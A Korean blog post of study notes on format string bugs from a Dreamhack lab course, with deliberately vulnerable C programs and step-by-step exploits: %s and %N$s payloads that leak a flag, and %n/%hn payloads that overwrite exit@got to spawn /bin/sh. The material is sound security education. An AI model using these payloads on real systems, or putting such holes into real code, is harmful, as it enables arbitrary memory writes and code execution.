FSB (Format String Bug)
System/System Hacking

FSB (Format String Bug)

dreamhack.io/learn/3#23 dreamhack FSB 강의를 수강하며 정리한 내용이다ヽ(✿゚▽゚)ノ

FSB (Format String Bug)

printf()나 sprintf()처럼 포맷 스트링을 사용하는 함수에서 사용자가 포맷 스트링 문자열을 통제할 수 있을 때 발생하는 취약점; 프로그래머가 지정한 문자열이 아닌 사용자의 입력이 포맷 스트링으로 전달될 때 발생하는 취약점이다.

프로그램내에 이 취약점이 있으면 프로그램의 임의의 주소의 값을 읽고 쓸 수 있기 때문에 아주 위험하다.

 

포맷 스트링을 사용하는 대표적 함수들

  • printf
  • sprintf / snprintf
  • fprintf
  • vprintf / vfprintf
  • vsprintf / vsnprintf

포맷 스트링의 종류

  • % : "%"문자를 출력한다.
  • c : 하나의 문자를 출력한다.
  • s : NULL 바이트로 끝나는 문자열을 출력한다.
  • d, i : signed integer를 출력한다.
  • x : unsigned integer를 16진수의 형태로 출력한다.
  • n : 현재까지 출력된 문자의 개수를 변수에 저장하고, 무언가를 출력하지는 않는다.

>> 포맷 스트링을 사용하는 함수의 인자만 잘 검토하면 막을 수 있는 취약점으로 상대적으로 막기 쉬운 편이다. 그리고 최신 컴파일러에서는 포맷 스트링으로 전달되는 인자가 문자열 리터럴이 아닐 때 경고 메시지를 출력하기 때문에 잘 발생하지 않는 취약점이다.

컴파일러에서 주는 경고 메시지

예시를 통해 확인해야 이해가 될 것 같다..


Example - FSB 발생

//gcc -o fsb-1 fsb-1.c
#include <stdio.h>
int main(void) {
    char buf[100] = {0, };
    
    read(0, buf, 100);
    printf(buf);
}

△ fsb-1.c //char형 배열 buf에 100byte를 입력받고 printf 함수를 통해 입력받은 버퍼를 출력하는 코드

printf(buf); 사용자의 입력이 printf의 함수의 인자로 그대로 전달된다.

"fsb", "10" 등의 일반적인 문자열을 입력했을 때는 printf("fsb"); printf("10"); 으로 인식되기 때문에 정상적으로 문자열이 출력된다.

"%x", "%d" 등의 포맷 스트링을 입력했을 때는 printf("%x"); printf("%d"); printf("%x %d");처럼 된다. 여기서 printf("%x %d");가 될 때 두 번째 인자와 세 번째 인자가 전달되지 않기 때문에 쓰레기 값을 인자로 취급해 출력한다.

//gcc -o fsb-2 fsb-2.c
#include <stdio.h>
#include <stdlib.h>
int main(void) {
    FILE *fp = fopen("log.txt", "w");
    char buf[100] = {0, };
    
    read(0, buf, 100-1);
    
    fprintf(fp, "BUFFER-LOG: ");
    fprintf(fp, buf);
    
    fclose(fp);
    return 0;
}

△ fsb-2.c fprintf함수에서 FSB가 발생하는 코드

fprintf(fp, buf); 포맷스트링이 위치해야 할 곳에 사용자의 버퍼(buf)가 위치하게 되면서 포맷 스트링 버그가 발생한다.


Example - FSB를 활용해 exploit (1)

임의의 주소의 값 읽기

"%x", "%(N)$s" 포맷 스트링을 이용하면 임의의 주소의 값(포맷 스트링과 함께 적어준 주소)을 읽을 수 있다

// gcc -o fsb1 fsb1.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char flag_buf[50];
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
int main()
{
	FILE *fp;
	char buf[256];
	initialize();
	memset(buf, 0, sizeof(buf));
	fp = fopen("./flag", "r");
	fread(flag_buf, 1, sizeof(flag_buf), fp);
	printf("Input: ");
	read(0, buf, sizeof(buf)-1);
	printf(buf);
	return 0;
}

△ fsb1.c

- "flag" 파일을 읽고 그 내용을 전역 변수 flag_buf에 저장한다.

- 지역 버퍼인 buf에 사용자로부터 입력받고 printf를 사용해 출력한다 >> 사용자의 입력이 그대로 포맷 스트링으로 들어가면서 FSB가 발생한다.

- flag_buf에 저장되어 있는 "flag"의 내용을 포맷 스트링 버그를 이용해 읽어내는 것이 목표이다.

※ 같은 디렉터리 내에 flag 파일을 만들어줘야한다. 만들지 않은 상태로 실행하면 Segmentation Fault (core dumped) 에러 메시지가 뜬다.

flag 파일 생성한 후 실행

포맷 스트링 버그가 존재하는 것을 확인했다면,

  • 포맷 스트링이 참조하는 버퍼에 공격자의 값을 쓸 수 있는지
  • 입력한 데이터몇 번째 포맷 스트링에 참조되는지

를 알아야한다! 공격자가 변조 가능한 데이터가 포맷 스트링에 의해 참조된다면 임의의 주소에 값을 쓰고 읽는 것이 가능해진다!!

$ ./fsb1
Input: AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA9122008.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.a78252e.0

△ fsb_1 실행

처음 입력 값인 "AAAA"의 내용이 두 번째 포맷 스트링에 의해 참조되는 것을 확인할 수 있다. 해당 값은 printf가 호출될 때의 스택 포인터의 값을 확인하면 정확하게 알아낼 수 있다.

>> 처음 입력한 4byte의 값이 특정 메모리 주소라면, 해당 포인터를 참조하는 포맷 스트링을 사용했을 때 입력한 주소에 값을 쓰거나 읽을 수 있게 된다.

"AAAA%x.%n"을 입력했을 때를 gdb로 확인
위에도 나와있지만 그 다음 값까지 확인할 수 있도록..

printf함수가 실행되면서 프로그램이 비정상 종료된다.

>> mov dword ptr [eax], esi 0x41414141(eax)이 "%n" 포맷 스트링을 통해 참조되어 값을 쓰다가 Segmentation Fault가 발생된다. eax의 값이 0x41414141이 아닌 메모리에 존재하는 주소라면 해당 영역에 값을 쓰거나 읽을 수 있다.

flag_buf의 주소를 심볼을 이용해 gdb에서 알아낸다.

입력의 첫 4byte에 flag_buf의 주소값(0x0804a060)을 넣어 두 번째 포맷 스트링을 참조할 때 해당 주소를 참조하게 한다.

exploit (1)-성공적으로 flag 파일의 내용이 출력된다

[flag_buf의 주소].%x.%s "%s" 포맷 스트링을 처리하여 printf("%s", flag_buf의 주소); 의 결과를 출력하게 된다. 

expoloit(2)

[flag_buf의 주소]%(N)$s "%N$s"는 N번째 매개 변수를 특정 포맷 스트링으로 처리할 때 사용한다. 위에서는 "%2$s"를 사용하여 두 번째 주소를 "s" 포맷 스트링을 통해 출력한다. 

--> 예를 들어, printf("%2$s", "HELLO", "WORLD"); 일 경우 실행하면 WORLD만 출력된다. 

>> "$" 원하는 위치의 주소를 쉽게 참조할 수 있게 된다.

 

// fsb_read.c
#include <stdio.h>
int main(void) {
    int auth = "SECRET";
    char buf[32] = {0, };
    
    read(0, buf, 31);
    printf(buf);
}

메모리 구조
exploit 성공!

hex encode를 켠 상태로 auth 변수의 주소를 little endian 방식으로 적어주고 encode를 다시 꺼 준 후, %5$s를 넣어준다.  ==> 30feff7f%5$s

pl = p32(auth주소)

pl += "%5$s" 해서 p.sendline(pl) 하는 것과 같다!


Example - FSB를 활용해 exploit (2)

임의의 주소에 원하는 값 쓰기

"%n", "%(N)c%$n" 포맷 스트링을 이용하여 임의의 주소에 원하는 값을 쓰면서 실행 흐름을 조작할 수 있게 된다.

"n"은 출력된 문자의 길이 수를 전달된 매개 변수에 쓰는 포맷 스트링으로 간단한 예제를 통해 그 사용법을 다시 한 번 확인해보겠다.

// gcc -o fsbn_ex2 fsbn_ex2.c
#include <stdio.h>
int main()
{
	int ret = 0;
	printf("1234%1$n\n", &ret);
	printf("ret: %d\n", ret);
}

포맷 스트링 %$n 사용 - 작은 값 저장

"1234" 문자열의 길이가 4이기 때문에 1234 뒤 붙은 ret 변수에 문자열의 길이인 4가 저장된다.

하지만, 실제 공격할 때 이렇게 짧은 값을 사용하지 않는다. 입력해야할 문자열의 길이가 굉장히 길지만 입력할 수 있는 길이가 한정되어 있다면 아래 예제(fsbn_ex3)처럼 하면 된다.

// gcc -o fsbn_ex3 fsbn_ex3.c
#include <stdio.h>
int main()
{
	int ret = 0;
	printf("%1024c%1$n\n", &ret);
	printf("ret: %d\n", ret);
}

포맷 스트링 %1024c%1$n 사용

%1024c 1024 길이의 공백을 포함한 문자를 "c" 포맷 스트링으로 출력한다. 

>> 이를 사용하여 원하는 길이만큼 화면에 문자를 출력할 수 있게된다. 1024 byte만큼의 데이터를 실제로 입력하지 않았는데도 ret이 1024로 덮여있게 된다.

==> 입력할 수 있는 버퍼의 크기가 한정적이더라도 원하는 문자열의 길이를 출력하여 임의의 주소에 원하는 값을 쓸 수 있다.


// gcc -o fsb2 fsb2.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
void get_shell() {
	system("/bin/sh");
}
int main()
{
	char buf[256];
	initialize();
	memset(buf, 0, sizeof(buf));
	printf("Input: ");
	read(0, buf, sizeof(buf)-1);
	printf(buf);
	exit(0);
}

△ fsb2.c

- 사용자로부터 입력받는 buf를 그대로 printf 함수로 출력하면서 포맷 스트링 버그가 발생하고 exit함수가 호출되면서 프로그램이 종료한다.

- FSB 발생 후 호출되는 exit의 got 값을 get_shell로 덮어쓰면 원하는 값을 얻어낼 수 있을 것이다!

get_shell 함수의 주소: 0x8048579
exit@plt 주소: 0x8048400, exit@got 주소: 0x804a018 

exploit1

디버거에서 실행
exit@got(0x804a018)에 저장된 값 = 0x404

exit@got주소%1024c%1$n 1024byte만큼 출력해 exit@got를 1024(=0x400)으로 덮어쓰는 공격코드이다.

EIP 레지스터값을 확인하면 0x404로 덮어쓰여져 있는 것을 볼 수 있다. 이 때 1024=0x400인데 0x404가 덮여진 이유는 n 포맷 스트링이 %1024c의 1024byte뿐 아니라 exit@got의 주소 4byte를 포함하기 때문이다.

exploit2 - exit@got 덮어쓰기("n")

get_shell의 주소

get_shell의 주소를 10진수로 변환한 값에서 4를 빼고 위의 1024자리에 대신 넣는다. exit@got의 주소 때문에 4byte가 더해지므로 4byte를 미리 고려하여 빼서 전달한다.

(python -c 'print "\x18\xa0\x04\x08%134514037c%1$n"') | ./fsb2

 

프로세스가 새로운 프로그램을 실행한다: /bin/dash 대충 이런 뜻인것 같다..? 잘 입력한 것 같다
디버거가 아닌 원본 파일에 하면 segmentation fault가 뜬다.

 

exploit3

exit@got+2 exit@got %x.%x.%x exit@got+2 주소와 exit@got 주소를 입력하고 x 포맷 스트링을 통해 출력하면 두 개의 주소(exit@got+2, exit@got)가 쓰여져있는 것을 확인할 수 있다.

>> 공격 시, 포맷 스트링 인자 중 각각 첫 번째 인덱스와 두 번째 인덱스를 참조하면 두 개의 주소를 모두 덮어쓸 수 있음을 알 수 있다.

exploit4 - 두 byte로 나눠 덮어쓰기 ("hn")

exit@got에는get_shell의 하위 2byte 0x8579를, exit@got+2에는get_shell의 상위 2byte 0x(0)804를 덮어쓸 것이다.

exit@got+2 주소에는 "%2044c"(2044 = 0x804-4)만큼 출력하여 "hn" 포맷 스트링을 통해 0x804를 덮어쓰도록 한다.

exit@got 주소에는 0x8579를 덮어쓸 것인데, 화면에 이미 출력된 문자열의 길이(2052byte)를 고려해서 덮어써야 한다. 즉, 앞에서 (exit@got+2) 0x804만큼 출력했으므로 0x8579 - 0x804 = 0x7d75 = 32117를 화면에 출력하면 이후 "hn" 포맷 스트링으로 덮어쓰면 성공적으로 exit@got를 get_shell 함수의 주소로 조작할 수 있다.

(python -c 'print "\x1a\xa0\x04\x08\x18\xa0\x04\x08%2044c%1$hn%32117c%2$hn"';cat;) | ./fsb2

오오 됐다!!


소스코드
메모리 구조

5번째 포맷스트링x에 값이 쓰여짐을 확인했다.

30feff7f%251c%5$n (encode/decode)

! 성공 !

SMALL

'System > System Hacking' 카테고리의 다른 글

[Protection Tech.] RELRO  (0) 2021.03.30
[Protection Tech.] Canaries(카나리), SSP  (0) 2021.01.27
[Protection Tech.] ASLR  (0) 2021.01.15
PLT, GOT  (0) 2021.01.14
[Protection Tech.] NX bit  (2) 2021.01.03